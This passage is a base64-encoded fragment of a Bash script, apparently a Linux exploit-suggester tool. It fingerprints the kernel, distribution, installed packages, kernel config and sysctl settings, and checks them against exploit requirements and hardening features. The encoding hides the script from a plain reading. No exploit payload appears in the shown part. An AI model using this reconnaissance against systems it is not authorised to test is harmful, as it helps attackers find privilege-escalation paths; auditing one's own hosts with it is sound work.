1hJyBjb21tYW5kCnBhcnNlVW5hbWUoKSB7CiAgICBsb2NhbCB1bmFtZT0kMQoKICAgIEtFUk5FTD0kKGVjaG8gIiR1bmFtZSIgfCBhd2sgJ3twcmludCAkM30nIHwgY3V0IC1kICctJyAtZiAxKQogICAgS0VSTkVMX0FMTD0kKGVjaG8gIiR1bmFtZSIgfCBhd2sgJ3twcmludCAkM30nKQogICAgQVJDSD0kKGVjaG8gIiR1bmFtZSIgfCBhd2sgJ3twcmludCAkKE5GLTEpfScpCgogICAgT1M9IiIKICAgIGVjaG8gIiR1bmFtZSIgfCBncmVwIC1xIC1pICdkZWInICYmIE9TPSJkZWJpYW4iCiAgICBlY2hvICIkdW5hbWUiIHwgZ3JlcCAtcSAtaSAndWJ1bnR1JyAmJiBPUz0idWJ1bnR1IgogICAgZWNobyAiJHVuYW1lIiB8IGdyZXAgLXEgLWkgJ1wtQVJDSCcgJiYgT1M9ImFyY2giCiAgICBlY2hvICIkdW5hbWUiIHwgZ3JlcCAtcSAtaSAnXC1kZWVwaW4nICYmIE9TPSJkZWVwaW4iCiAgICBlY2hvICIkdW5hbWUiIHwgZ3JlcCAtcSAtaSAnXC1NQU5KQVJPJyAmJiBPUz0ibWFuamFybyIKICAgIGVjaG8gIiR1bmFtZSIgfCBncmVwIC1xIC1pICdcLmZjJyAmJiBPUz0iZmVkb3JhIgogICAgZWNobyAiJHVuYW1lIiB8IGdyZXAgLXEgLWkgJ1wuZWwnICYmIE9TPSJSSEVMIgogICAgZWNobyAiJHVuYW1lIiB8IGdyZXAgLXEgLWkgJ1wubWdhJyAmJiBPUz0ibWFnZWlhIgoKICAgICMgJ3VuYW1lIC1hJyBvdXRwdXQgZG9lc24ndCBjb250YWluIGRpc3RyaWJ1dGlvbiBudW1iZXIgKGF0IGxlYXN0IG5vdCBpbiBjYXNlIG9mIGFsbCBkaXN0cm9zKQp9CgpnZXRQa2dMaXN0KCkgewogICAgbG9jYWwgZGlzdHJvPSQxCiAgICBsb2NhbCBwa2dsaXN0X2ZpbGU9JDIKICAgIAogICAgIyB0YWtlIHBhY2thZ2UgbGlzdGluZyBmcm9tIHByb3ZpZGVkIGZpbGUgJiBkZXRlY3QgaWYgaXQncyAncnBtIC1xYScgbGlzdGluZyBvciAnZHBrZyAtbCcgb3IgJ3BhY21hbiAtUScgbGlzdGluZyBvZiBub3QgcmVjb2duaXplZCBsaXN0aW5nCiAgICBpZiBbICIkb3B0X3BrZ2xpc3RfZmlsZSIgPSAidHJ1ZSIgLWEgLWUgIiRwa2dsaXN0X2ZpbGUiIF07IHRoZW4KCiAgICAgICAgIyB1YnVudHUvZGViaWFuIHBhY2thZ2UgbGlzdGluZyBmaWxlCiAgICAgICAgaWYgWyAkKGhlYWQgLTEgIiRwa2dsaXN0X2ZpbGUiIHwgZ3JlcCAnRGVzaXJlZD1Vbmtub3duL0luc3RhbGwvUmVtb3ZlL1B1cmdlL0hvbGQnKSBdOyB0aGVuCiAgICAgICAgICAgIFBLR19MSVNUPSQoY2F0ICIkcGtnbGlzdF9maWxlIiB8IGF3ayAne3ByaW50ICQyIi0iJDN9JyB8IHNlZCAncy86YW1kNjQvL2cnKQoKICAgICAgICAgICAgT1M9ImRlYmlhbiIKICAgICAgICAgICAgWyAiJChncmVwIHVidW50dSAiJHBrZ2xpc3RfZmlsZSIpIiBdICYmIE9TPSJ1YnVudHUiCiAgICAgICAgIyByZWRoYXQgcGFja2FnZSBsaXN0aW5nIGZpbGUKICAgICAgICBlbGlmIFsgIiQoZ3JlcCAtRSAnXC5lbFsxLTldK1tcLl9dJyAiJHBrZ2xpc3RfZmlsZSIgfCBoZWFkIC0xKSIgXTsgdGhlbgogICAgICAgICAgICBQS0dfTElTVD0kKGNhdCAiJHBrZ2xpc3RfZmlsZSIpCiAgICAgICAgICAgIE9TPSJSSEVMIgogICAgICAgICMgZmVkb3JhIHBhY2thZ2UgbGlzdGluZyBmaWxlCiAgICAgICAgZWxpZiBbICIkKGdyZXAgLUUgJ1wuZmNbMS05XSsnaSAiJHBrZ2xpc3RfZmlsZSIgfCBoZWFkIC0xKSIgXTsgdGhlbgogICAgICAgICAgICBQS0dfTElTVD0kKGNhdCAiJHBrZ2xpc3RfZmlsZSIpCiAgICAgICAgICAgIE9TPSJmZWRvcmEiCiAgICAgICAgIyBtYWdlaWEgcGFja2FnZSBsaXN0aW5nIGZpbGUKICAgICAgICBlbGlmIFsgIiQoZ3JlcCAtRSAnXC5tZ2FbMS05XSsnICIkcGtnbGlzdF9maWxlIiB8IGhlYWQgLTEpIiBdOyB0aGVuCiAgICAgICAgICAgIFBLR19MSVNUPSQoY2F0ICIkcGtnbGlzdF9maWxlIikKICAgICAgICAgICAgT1M9Im1hZ2VpYSIKICAgICAgICAjIHBhY21hbiBwYWNrYWdlIGxpc3RpbmcgZmlsZQogICAgICAgIGVsaWYgWyAiJChncmVwIC1FICdcIFswLTldK1wuJyAiJHBrZ2xpc3RfZmlsZSIgfCBoZWFkIC0xKSIgXTsgdGhlbgogICAgICAgICAgICBQS0dfTElTVD0kKGNhdCAiJHBrZ2xpc3RfZmlsZSIgfCBhd2sgJ3twcmludCAkMSItIiQyfScpCiAgICAgICAgICAgIE9TPSJhcmNoIgogICAgICAgICMgZmlsZSBub3QgcmVjb2duaXplZCAtIHNraXBwaW5nCiAgICAgICAgZWxzZQogICAgICAgICAgICBQS0dfTElTVD0iIgogICAgICAgIGZpCgogICAgZWxpZiBbICIkZGlzdHJvIiA9ICJkZWJpYW4iIC1vICIkZGlzdHJvIiA9ICJ1YnVudHUiIC1vICIkZGlzdHJvIiA9ICJkZWVwaW4iIF07IHRoZW4KICAgICAgICBQS0dfTElTVD0kKGRwa2cgLWwgfCBhd2sgJ3twcmludCAkMiItIiQzfScgfCBzZWQgJ3MvOmFtZDY0Ly9nJykKICAgIGVsaWYgWyAiJGRpc3RybyIgPSAiUkhFTCIgLW8gIiRkaXN0cm8iID0gImZlZG9yYSIgLW8gIiRkaXN0cm8iID0gIm1hZ2VpYSIgXTsgdGhlbgogICAgICAgIFBLR19MSVNUPSQocnBtIC1xYSkKICAgIGVsaWYgWyAiJGRpc3RybyIgPSAiYXJjaCIgLW8gIiRkaXN0cm8iID0gIm1hbmphcm8iIF07IHRoZW4KICAgICAgICBQS0dfTElTVD0kKHBhY21hbiAtUSB8IGF3ayAne3ByaW50ICQxIi0iJDJ9JykKICAgIGVsaWYgWyAteCAvdXNyL2Jpbi9lcXVlcnkgXTsgdGhlbgogICAgICAgIFBLR19MSVNUPSQoL3Vzci9iaW4vZXF1ZXJ5IC0tcXVpZXQgbGlzdCAnKicgLUYgJyRuYW1lOiR2ZXJzaW9uJyB8IGN1dCAtZC8gLWYyLSB8IGF3ayAne3ByaW50ICQxIjoiJDJ9JykKICAgIGVsc2UKICAgICAgICAjIHBhY2thZ2VzIGxpc3Rpbmcgbm90IGF2YWlsYWJsZQogICAgICAgIFBLR19MSVNUPSIiCiAgICBmaQp9CgojIGZyb206IGh0dHBzOi8vc3RhY2tvdmVyZmxvdy5jb20vcXVlc3Rpb25zLzQwMjM4MzAvaG93LWNvbXBhcmUtdHdvLXN0cmluZ3MtaW4tZG90LXNlcGFyYXRlZC12ZXJzaW9uLWZvcm1hdC1pbi1iYXNoCnZlckNvbXBhcmlzaW9uKCkgewoKICAgIGlmIFtbICQxID09ICQyIF1dCiAgICB0aGVuCiAgICAgICAgcmV0dXJuIDAKICAgIGZpCgogICAgbG9jYWwgSUZTPS4KICAgIGxvY2FsIGkgdmVyMT0oJDEpIHZlcjI9KCQyKQoKICAgICMgZmlsbCBlbXB0eSBmaWVsZHMgaW4gdmVyMSB3aXRoIHplcm9zCiAgICBmb3IgKChpPSR7I3ZlcjFbQF19OyBpPCR7I3ZlcjJbQF19OyBpKyspKQogICAgZG8KICAgICAgICB2ZXIxW2ldPTAKICAgIGRvbmUKCiAgICBmb3IgKChpPTA7IGk8JHsjdmVyMVtAXX07IGkrKykpCiAgICBkbwogICAgICAgIGlmIFtbIC16ICR7dmVyMltpXX0gXV0KICAgICAgICB0aGVuCiAgICAgICAgICAgICMgZmlsbCBlbXB0eSBmaWVsZHMgaW4gdmVyMiB3aXRoIHplcm9zCiAgICAgICAgICAgIHZlcjJbaV09MAogICAgICAgIGZpCiAgICAgICAgaWYgKCgxMCMke3ZlcjFbaV19ID4gMTAjJHt2ZXIyW2ldfSkpCiAgICAgICAgdGhlbgogICAgICAgICAgICByZXR1cm4gMQogICAgICAgIGZpCiAgICAgICAgaWYgKCgxMCMke3ZlcjFbaV19IDwgMTAjJHt2ZXIyW2ldfSkpCiAgICAgICAgdGhlbgogICAgICAgICAgICByZXR1cm4gMgogICAgICAgIGZpCiAgICBkb25lCgogICAgcmV0dXJuIDAKfQoKZG9WZXJzaW9uQ29tcGFyaXNpb24oKSB7CiAgICBsb2NhbCByZXFWZXJzaW9uPSIkMSIKICAgIGxvY2FsIHJlcVJlbGF0aW9uPSIkMiIKICAgIGxvY2FsIGN1cnJlbnRWZXJzaW9uPSIkMyIKCiAgICB2ZXJDb21wYXJpc2lvbiAkY3VycmVudFZlcnNpb24gJHJlcVZlcnNpb24KICAgIGNhc2UgJD8gaW4KICAgICAgICAwKSBjdXJyZW50UmVsYXRpb249Jz0nOzsKICAgICAgICAxKSBjdXJyZW50UmVsYXRpb249Jz4nOzsKICAgICAgICAyKSBjdXJyZW50UmVsYXRpb249JzwnOzsKICAgIGVzYWMKCiAgICBpZiBbICIkcmVxUmVsYXRpb24iID09ICI9IiBdOyB0aGVuCiAgICAgICAgWyAkY3VycmVudFJlbGF0aW9uID09ICI9IiBdICYmIHJldHVybiAwCiAgICBlbGlmIFsgIiRyZXFSZWxhdGlvbiIgPT0gIj4iIF07IHRoZW4KICAgICAgICBbICRjdXJyZW50UmVsYXRpb24gPT0gIj4iIF0gJiYgcmV0dXJuIDAKICAgIGVsaWYgWyAiJHJlcVJlbGF0aW9uIiA9PSAiPCIgXTsgdGhlbgogICAgICAgIFsgJGN1cnJlbnRSZWxhdGlvbiA9PSAiPCIgXSAmJiByZXR1cm4gMAogICAgZWxpZiBbICIkcmVxUmVsYXRpb24iID09ICI+PSIgXTsgdGhlbgogICAgICAgIFsgJGN1cnJlbnRSZWxhdGlvbiA9PSAiPSIgXSAmJiByZXR1cm4gMAogICAgICAgIFsgJGN1cnJlbnRSZWxhdGlvbiA9PSAiPiIgXSAmJiByZXR1cm4gMAogICAgZWxpZiBbICIkcmVxUmVsYXRpb24iID09ICI8PSIgXTsgdGhlbgogICAgICAgIFsgJGN1cnJlbnRSZWxhdGlvbiA9PSAiPSIgXSAmJiByZXR1cm4gMAogICAgICAgIFsgJGN1cnJlbnRSZWxhdGlvbiA9PSAiPCIgXSAmJiByZXR1cm4gMAogICAgZmkKfQoKY29tcGFyZVZhbHVlcygpIHsKICAgIGN1clZhbD0kMQogICAgdmFsPSQyCiAgICBzaWduPSQzCgogICAgaWYgWyAiJHNpZ24iID09ICI9PSIgXTsgdGhlbgogICAgICAgIFsgIiR2YWwiID09ICIkY3VyVmFsIiBdICYmIHJldHVybiAwCiAgICBlbGlmIFsgIiRzaWduIiA9PSAiIT0iIF07IHRoZW4KICAgICAgICBbICIkdmFsIiAhPSAiJGN1clZhbCIgXSAmJiByZXR1cm4gMAogICAgZmkKCiAgICByZXR1cm4gMQp9CgpjaGVja1JlcXVpcmVtZW50KCkgewogICAgI2VjaG8gIkNoZWNraW5nIHJlcXVpcmVtZW50OiAkMSIKICAgIGxvY2FsIElOPSIkMSIKICAgIGxvY2FsIHBrZ05hbWU9IiR7Mjo0fSIKCiAgICBpZiBbWyAiJElOIiA9fiBecGtnPS4qJCBdXTsgdGhlbgoKICAgICAgICAjIGFsd2F5cyB0cnVlIGZvciBMaW51eCBPUwogICAgICAgIFsgJHtwa2dOYW1lfSA9PSAibGludXgta2VybmVsIiBdICYmIHJldHVybiAwCgogICAgICAgICMgdmVyaWZ5IGlmIHBhY2thZ2UgaXMgcHJlc2VudCAKICAgICAgICBwa2c9JChlY2hvICIkUEtHX0xJU1QiIHwgZ3JlcCAtRSAtaSAiXiRwa2dOYW1lLVswLTldKyIgfCBoZWFkIC0xKQogICAgICAgIGlmIFsgLW4gIiRwa2ciIF07IHRoZW4KICAgICAgICAgICAgcmV0dXJuIDAKICAgICAgICBmaQoKICAgIGVsaWYgW1sgIiRJTiIgPX4gXnZlci4qJCBdXTsgdGhlbgogICAgICAgIHZlcnNpb249IiR7SU4vL1teMC05Ll0vfSIKICAgICAgICByZXN0PSIke0lOI3Zlcn0iCiAgICAgICAgb3BlcmF0b3I9JHtyZXN0JSR2ZXJzaW9ufQoKICAgICAgICBpZiBbICIkcGtnTmFtZSIgPT0gImxpbnV4LWtlcm5lbCIgLW8gIiRvcHRfY2hlY2tzZWNfbW9kZSIgPT0gInRydWUiIF07IHRoZW4KCiAgICAgICAgICAgICMgZm9yIC0tY3ZlbGlzdC1maWxlIG1vZGUgc2tpcCBrZXJuZWwgdmVyc2lvbiBjb21wYXJpc2lvbgogICAgICAgICAgICBbICIkb3B0X2N2ZWxpc3RfZmlsZSIgPSAidHJ1ZSIgXSAmJiByZXR1cm4gMAoKICAgICAgICAgICAgZG9WZXJzaW9uQ29tcGFyaXNpb24gJHZlcnNpb24gJG9wZXJhdG9yICRLRVJORUwgJiYgcmV0dXJuIDAKICAgICAgICBlbHNlCiAgICAgICAgICAgICMgZXh0cmFjdCBwYWNrYWdlIHZlcnNpb24gYW5kIGNoZWNrIGlmIHJlcXVpcmVtbnQgaXMgdHJ1ZQogICAgICAgICAgICBwa2c9JChlY2hvICIkUEtHX0xJU1QiIHwgZ3JlcCAtRSAtaSAiXiRwa2dOYW1lLVswLTldKyIgfCBoZWFkIC0xKQoKICAgICAgICAgICAgIyBza2lwIChpZiBydW4gd2l0aCAtLXNraXAtcGtnLXZlcnNpb25zKSB2ZXJzaW9uIGNoZWNraW5nIGlmIHBhY2thZ2Ugd2l0aCBnaXZlbiBuYW1lIGlzIGluc3RhbGxlZAogICAgICAgICAgICBbICIkb3B0X3NraXBfcGtnX3ZlcnNpb25zIiA9ICJ0cnVlIiAtYSAtbiAiJHBrZyIgXSAmJiByZXR1cm4gMAoKICAgICAgICAgICAgIyB2ZXJzaW9uaW5nOgogICAgICAgICAgICAjZWNobyAicGtnOiAkcGtnIgogICAgICAgICAgICBwa2dWZXJzaW9uPSQoZWNobyAiJHBrZyIgfCBncmVwIC1FIC1pIC1vIC1lICctW1wuMC05XCs6cF0rWy1cK10nIHwgY3V0IC1kJzonIC1mMiB8IHNlZCAncy9bXCstXS8vZycgfCBzZWQgJ3MvcFswLTldLy9nJykKICAgICAgICAgICAgI2VjaG8gInZlcnNpb246ICRwa2dWZXJzaW9uIgogICAgICAgICAgICAjZWNobyAib3BlcmF0b3I6ICRvcGVyYXRvciIKICAgICAgICAgICAgI2VjaG8gInJlcXVpcmVkIHZlcnNpb246ICR2ZXJzaW9uIgogICAgICAgICAgICAjZWNobwogICAgICAgICAgICBkb1ZlcnNpb25Db21wYXJpc2lvbiAkdmVyc2lvbiAkb3BlcmF0b3IgJHBrZ1ZlcnNpb24gJiYgcmV0dXJuIDAKICAgICAgICBmaQogICAgZWxpZiBbWyAiJElOIiA9fiBeeDg2XzY0JCBdXSAmJiBbICIkQVJDSCIgPT0gIng4Nl82NCIgLW8gIiRBUkNIIiA9PSAiIiBdOyB0aGVuCiAgICAgICAgcmV0dXJuIDAKICAgIGVsaWYgW1sgIiRJTiIgPX4gXng4NiQgXV0gJiYgWyAiJEFSQ0giID09ICJpMzg2IiAtbyAiJEFSQ0giID09ICJpNjg2IiAtbyAiJEFSQ0giID09ICIiIF07IHRoZW4KICAgICAgICByZXR1cm4gMAogICAgZWxpZiBbWyAiJElOIiA9fiBeQ09ORklHXy4qJCBdXTsgdGhlbgoKICAgICAgICAjIHNraXAgaWYgY2hlY2sgaXMgbm90IGFwcGxpY2FibGUgKC1rIG9yIC0tdW5hbWUgb3IgLXAgc2V0KSBvciBpZiB1c2VyIHNhaWQgc28gKC0tc2tpcC1tb3JlLWNoZWNrcykKICAgICAgICBbICIkb3B0X3NraXBfbW9yZV9jaGVja3MiID0gInRydWUiIF0gJiYgcmV0dXJuIDAKCiAgICAgICAgIyBpZiBrZXJuZWwgY29uZmlnIElTIGF2YWlsYWJsZToKICAgICAgICBpZiBbIC1uICIkS0NPTkZJRyIgXTsgdGhlbgogICAgICAgICAgICBpZiAkS0NPTkZJRyB8IGdyZXAgLUUgLXFpICRJTjsgdGhlbgogICAgICAgICAgICAgICAgcmV0dXJuIDA7CiAgICAgICAgICAgICMgcmVxdWlyZWQgb3B0aW9uIHdhc24ndCBmb3VuZCwgZXhwbG9pdCBpcyBub3QgYXBwbGljYWJsZQogICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICByZXR1cm4gMTsKICAgICAgICAgICAgZmkKICAgICAgICAjIGNvbmZpZyBpcyBub3QgYXZhaWxhYmxlCiAgICAgICAgZWxzZQogICAgICAgICAgICByZXR1cm4gMDsKICAgICAgICBmaQogICAgZWxpZiBbWyAiJElOIiA9fiBec3lzY3RsOi4qJCBdXTsgdGhlbgoKICAgICAgICAjIHNraXAgaWYgY2hlY2sgaXMgbm90IGFwcGxpY2FibGUgKC1rIG9yIC0tdW5hbWUgb3IgLXAgbW9kZXMpIG9yIGlmIHVzZXIgc2FpZCBzbyAoLS1za2lwLW1vcmUtY2hlY2tzKQogICAgICAgIFsgIiRvcHRfc2tpcF9tb3JlX2NoZWNrcyIgPSAidHJ1ZSIgXSAmJiByZXR1cm4gMAoKICAgICAgICBzeXNjdGxDb25kaXRpb249IiR7SU46N30iCgogICAgICAgICMgZXh0cmFjdCBzeXNjdGwgZW50cnksIHJlbGF0aW9uIHNpZ24gYW5kIHJlcXVpcmVkIHZhbHVlCiAgICAgICAgaWYgZWNobyAkc3lzY3RsQ29uZGl0aW9uIHwgZ3JlcCAtcWkgIiE9IjsgdGhlbgogICAgICAgICAgICBzaWduPSIhPSIKICAgICAgICBlbGlmIGVjaG8gJHN5c2N0bENvbmRpdGlvbiB8IGdyZXAgLXFpICI9PSI7IHRoZW4KICAgICAgICAgICAgc2lnbj0iPT0iCiAgICAgICAgZWxzZQogICAgICAgICAgICBleGl0V2l0aEVyck1zZyAiV3Jvbmcgc3lzY3RsIGNvbmRpdGlvbi4gVGhlcmUgaXMgc3ludGF4IGVycm9yIGluIHlvdXIgZmVhdHVyZXMgREIuIEFib3J0aW5nLiIKICAgICAgICBmaQogICAgICAgIHZhbD0kKGVjaG8gIiRzeXNjdGxDb25kaXRpb24iIHwgYXdrIC1GICIkc2lnbiIgJ3twcmludCAkMn0nKQogICAgICAgIGVudHJ5PSQoZWNobyAiJHN5c2N0bENvbmRpdGlvbiIgfCBhd2sgLUYgIiRzaWduIiAne3ByaW50ICQxfScpCgogICAgICAgICMgZ2V0IGN1cnJlbnQgc2V0dGluZyBvZiBzeXNjdGwgZW50cnkKICAgICAgICBjdXJWYWw9JCgvc2Jpbi9zeXNjdGwgLWEgMj4gL2Rldi9udWxsIHwgZ3JlcCAiJGVudHJ5IiB8IGF3ayAtRic9JyAne3ByaW50ICQyfScpCgogICAgICAgICMgc3BlY2lhbCBjYXNlIGZvciAtLWNoZWNrc2VjIG1vZGU6IHJldHVybiAyIGlmIHRoZXJlIGlzIG5vIHN1Y2ggc3dpdGNoIGluIHN5c2N0bAogICAgICAgIFsgLXogIiRjdXJWYWwiIC1hICIkb3B0X2NoZWNrc2VjX21vZGUiID0gInRydWUiIF0gJiYgcmV0dXJuIDIKCiAgICAgICAgIyBmb3Igb3RoZXIgbW9kZXM6IHNraXAgaWYgdGhlcmUgaXMgbm8gc3VjaCBzd2l0Y2ggaW4gc3lzY3RsCiAgICAgICAgWyAteiAiJGN1clZhbCIgXSAmJiByZXR1cm4gMAoKICAgICAgICAjIGNvbXBhcmUgJiByZXR1cm4gcmVzdWx0CiAgICAgICAgY29tcGFyZVZhbHVlcyAkY3VyVmFsICR2YWwgJHNpZ24gJiYgcmV0dXJuIDAKCiAgICBlbGlmIFtbICIkSU4iID1+IF5jbWQ6LiokIF1dOyB0aGVuCgogICAgICAgICMgc2tpcCBpZiBjaGVjayBpcyBub3QgYXBwbGljYWJsZSAoLWsgb3IgLS11bmFtZSBvciAtcCBtb2Rlcykgb3IgaWYgdXNlciBzYWlkIHNvICgtLXNraXAtbW9yZS1jaGVja3MpCiAgICAgICAgWyAiJG9wdF9za2lwX21vcmVfY2hlY2tzIiA9ICJ0cnVlIiBdICYmIHJldHVybiAwCgogICAgICAgIGNtZD0iJHtJTjo0fSIKICAgICAgICBpZiBldmFsICIke2NtZH0iOyB0aGVuCiAgICAgICAgICAgIHJldHVybiAwCiAgICAgICAgZmkKICAgIGZpCgogICAgcmV0dXJuIDEKfQoKZ2V0S2VybmVsQ29uZmlnKCkgewoKICAgIGlmIFsgLWYgL3Byb2MvY29uZmlnLmd6IF0gOyB0aGVuCiAgICAgICAgS0NPTkZJRz0iemNhdCAvcHJvYy9jb25maWcuZ3oiCiAgICBlbGlmIFsgLWYgL2Jvb3QvY29uZmlnLWB1bmFtZSAtcmAgXSA7IHRoZW4KICAgICAgICBLQ09ORklHPSJjYXQgL2Jvb3QvY29uZmlnLWB1bmFtZSAtcmAiCiAgICBlbGlmIFsgLWYgIiR7S0JVSUxEX09VVFBVVDotL3Vzci9zcmMvbGludXh9Ii8uY29uZmlnIF0gOyB0aGVuCiAgICAgICAgS0NPTkZJRz0iY2F0ICR7S0JVSUxEX09VVFBVVDotL3Vzci9zcmMvbGludXh9Ly5jb25maWciCiAgICBlbHNlCiAgICAgICAgS0NPTkZJRz0iIgogICAgZmkKfQoKY2hlY2tzZWNNb2RlKCkgewoKICAgIE1PREU9MAoKICAgICMgc3RhcnQgYW5hbHlzaXMKZm9yIEZFQVRVUkUgaW4gIiR7RkVBVFVSRVNbQF19IjsgZG8KCiAgICAjIGNyZWF0ZSBhcnJheSBmcm9tIGN1cnJlbnQgZXhwbG9pdCBoZXJlIGRvYyBhbmQgZmV0Y2ggbmVlZGVkIGxpbmVzCiAgICBpPTAKICAgICMgKCctcicgaXMgdXNlZCB0byBub3QgaW50ZXJwcmV0IGJhY2tzbGFzaCB1c2VkIGZvciBiYXNoIGNvbG9ycykKICAgIHdoaWxlIHJlYWQgLXIgbGluZQogICAgZG8KICAgICAgICBhcnJbaV09IiRsaW5lIgogICAgICAgIGk9JCgoaSArIDEpKQogICAgZG9uZSA8PDwgIiRGRUFUVVJFIgoKCSMgbW9kZXM6IGtlcm5lbC1mZWF0dXJlICgxKSB8IGh3LWZlYXR1cmUgKDIpIHwgM3JkcGFydHktZmVhdHVyZSAoMykgfCBhdHRhY2stc3VyZmFjZSAoNCkKICAgIE5BTUU9IiR7YXJyWzBdfSIKICAgIFBSRV9OQU1FPSIke05BTUU6MDo4fSIKICAgIE5BTUU9IiR7TkFNRTo5fSIKICAgIGlmIFsgIiR7UFJFX05BTUV9IiA9ICJzZWN0aW9uOiIgXTsgdGhlbgoJCSMgYWR2YW5jZSB0byBuZXh0IE1PREUKCQlNT0RFPSQoKCRNT0RFICsgMSkpCgogICAgICAgIGVjaG8KICAgICAgICBlY2hvIC1lICIke2JsZHdodH0ke05BTUV9JHt0eHRyc3R9IgogICAgICAgIGVjaG8KICAgICAgICBjb250aW51ZQogICAgZmkKCiAgICBBVkFJTEFCTEU9IiR7YXJyWzFdfSIgJiYgQVZBSUxBQkxFPSIke0FWQUlMQUJMRToxMX0iCiAgICBFTkFCTEU9JChlY2hvICIkRkVBVFVSRSIgfCBncmVwICJlbmFibGVkOiAiIHwgYXdrIC1GJ2VkOiAnICd7cHJpbnQgJDJ9JykKICAgIGFuYWx5c2lzX3VybD0kKGVjaG8gIiRGRUFUVVJFIiB8IGdyZXAgImFuYWx5c2lzLXVybDogIiB8IGF3ayAne3ByaW50ICQyfScpCgogICAgIyBzcGxpdCBsaW5lIHdpdGggYXZhaWxhYmlsaXR5IHJlcXVpcmVtZW50cyAmIGxvb3AgdGhydSBhbGwgYXZhaWxhYmlsaXR5IHJlcXMgb25lIGJ5IG9uZSAmIGNoZWNrIHdoZXRoZXIgaXQgaXMgbWV0CiAgICBJRlM9JywnIHJlYWQgLXIgLWEgYXJyYXkgPDw8ICIkQVZBSUxBQkxFIgogICAgQVZBSUxBQkxFX1JFUVNfTlVNPSR7I2FycmF5W0BdfQogICAgQVZBSUxBQkxFX1BBU1NFRF9SRVE9MAoJQ09ORklHPSIiCiAgICBmb3IgUkVRIGluICIke2FycmF5W0BdfSI7IGRvCgoJCSMgZmluZCBDT05GSUdfIG5hbWUgKGlmIHByZXNlbnQpIGZvciBjdXJyZW50IGZlYXR1cmUgKG9ubHkgZm9yIGRpc3BsYXkgcHVycG9zZXMpCgkJaWYgWyAteiAiJENPTkZJRyIgXTsgdGhlbgoJCQljb25maWc9JChlY2hvICIkUkVRIiB8IGdyZXAgIkNPTkZJR18iKQoJCQlbIC1uICIkY29uZmlnIiBdICYmIENPTkZJRz0iKCQoZWNobyAkUkVRIHwgY3V0IC1kJz0nIC1mMSkpIgoJCWZpCgogICAgICAgIGlmIChjaGVja1JlcXVpcmVtZW50ICIkUkVRIik7IHRoZW4KICAgICAgICAgICAgQVZBSUxBQkxFX1BBU1NFRF9SRVE9JCgoJEFWQUlMQUJMRV9QQVNTRURfUkVRICsgMSkpCiAgICAgICAgZWxzZQogICAgICAgICAgICBicmVhawogICAgICAgIGZpCiAgICBkb25lCgogICAgIyBzcGxpdCBsaW5lIHdpdGggZW5hYmxlbWVudCByZXF1aXJlbWVudHMgJiBsb29wIHRocnUgYWxsIGVuYWJsZW1lbnQgcmVxcyBvbmUgYnkgb25lICYgY2hlY2sgd2hldGhlciBpdCBpcyBtZXQKICAgIEVOQUJMRV9QQVNTRURfUkVRPTAKICAgIEVOQUJMRV9SRVFTX05VTT0wCiAgICBub1N5c2N0bD0wCiAgICBpZiBbIC1uICIkRU5BQkxFIiBdOyB0aGVuCiAgICAgICAgSUZTPScsJyByZWFkIC1yIC1hIGFycmF5IDw8PCAiJEVOQUJMRSIKICAgICAgICBFTkFCTEVfUkVRU19OVU09JHsjYXJyYXlbQF19CiAgICAgICAgZm9yIFJFUSBpbiAiJHthcnJheVtAXX0iOyBkbwogICAgICAgICAgICBjbWRTdGRvdXQ9JChjaGVja1JlcXVpcmVtZW50ICIkUkVRIikKICAgICAgICAgICAgcmV0VmFsPSQ/CiAgICAgICAgICAgIGlmIFsgJHJldFZhbCAtZXEgMCBdOyB0aGVuCiAgICAgICAgICAgICAgICBFTkFCTEVfUEFTU0VEX1JFUT0kKCgkRU5BQkxFX1BBU1NFRF9SRVEgKyAxKSkKICAgICAgICAgICAgZWxpZiBbICRyZXRWYWwgLWVxIDIgXTsgdGhlbgogICAgICAgICAgICAjIHNwZWNpYWwgY2FzZTogc3lzY3RsIGVudHJ5IGlzIG5vdCBwcmVzZW50IG9uIGdpdmVuIHN5c3RlbTogc2lnbmFsIGl0IGFzOiBOL0EKICAgICAgICAgICAgICAgIG5vU3lzY3RsPTEKICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgIGZpCiAgICAgICAgZG9uZQogICAgZmkKCiAgICBmZWF0dXJlPSQoZWNobyAiJEZFQVRVUkUiIHwgZ3JlcCAiZmVhdHVyZTogIiB8IGN1dCAtZCcgJyAtZiAyLSkKCiAgICBpZiBbIC1uICIkY21kU3Rkb3V0IiBdOyB0aGVuCiAgICAgICAgaWYgWyAkY21kU3Rkb3V0IC1lcSAwIF07IHRoZW4KICAgICAgICAgICAgc3RhdGU9IlsgJHt0eHRyZWR9U2V0IHRvICRjbWRTdGRvdXQke3R4dHJzdH0gXSIKCQkJY21kU3Rkb3V0PSIiCiAgICAgICAgZWxzZQogICAgICAgICAgICBzdGF0ZT0iWyAke3R4dGdybn1TZXQgdG8gJGNtZFN0ZG91dCR7dHh0cnN0fSBdIgoJCQljbWRTdGRvdXQ9IiIKICAgICAgICBmaQogICAgZWxzZQoKCXVua25vd249IlsgJHt0eHRncmF5fVVua25vd24ke3R4dHJzdH0gIF0iCgoJIyBmb3IgM3JkIHBhcnR5ICgzKSBtb2RlIGRpc3BsYXkgIk4vQSIgb3IgIkVuYWJsZWQiCglpZiBbICRNT0RFIC1lcSAzIF07IHRoZW4KICAgICAgICAgICAgZW5hYmxlZD0iWyAke3R4dGdybn1FbmFibGVkJHt0eHRyc3R9ICAgXSIKICAgICAgICAgICAgZGlzYWJsZWQ9IlsgICAke3R4dGdyYXl9Ti9BJHt0eHRyc3R9ICAgIF0iCgogICAgICAgICMgZm9yIGF0dGFjay1zdXJmYWNlICg0KSBtb2RlIGRpc3BsYXkgIkxvY2tlZCIgb3IgIkV4cG9zZWQiCiAgICAgICAgZWxpZiBbICRNT0RFIC1lcSA0IF07IHRoZW4KICAgICAgICAgICBlbmFibGVkPSJbICR7dHh0cmVkfUV4cG9zZWQke3R4dHJzdH0gIF0iCiAgICAgICAgICAgZGlzYWJsZWQ9IlsgJHt0eHRncm59TG9ja2VkJHt0eHRyc3R9ICAgXSIKCgkjIG90aGVyIG1vZGVzIiAiRGlzYWJsZWQiIC8gIkVuYWJsZWQiCgllbHNlCgkJZW5hYmxlZD0iWyAke3R4dGdybn1FbmFibGVkJHt0eHRyc3R9ICBdIgoJCWRpc2FibGVkPSJbICR7dHh0cmVkfURpc2FibGVkJHt0eHRyc3R9IF0iCglmaQoKCWlmIFsgLXogIiRLQ09ORklHIiAtYSAiJEVOQUJMRV9SRVFTX05VTSIgPSA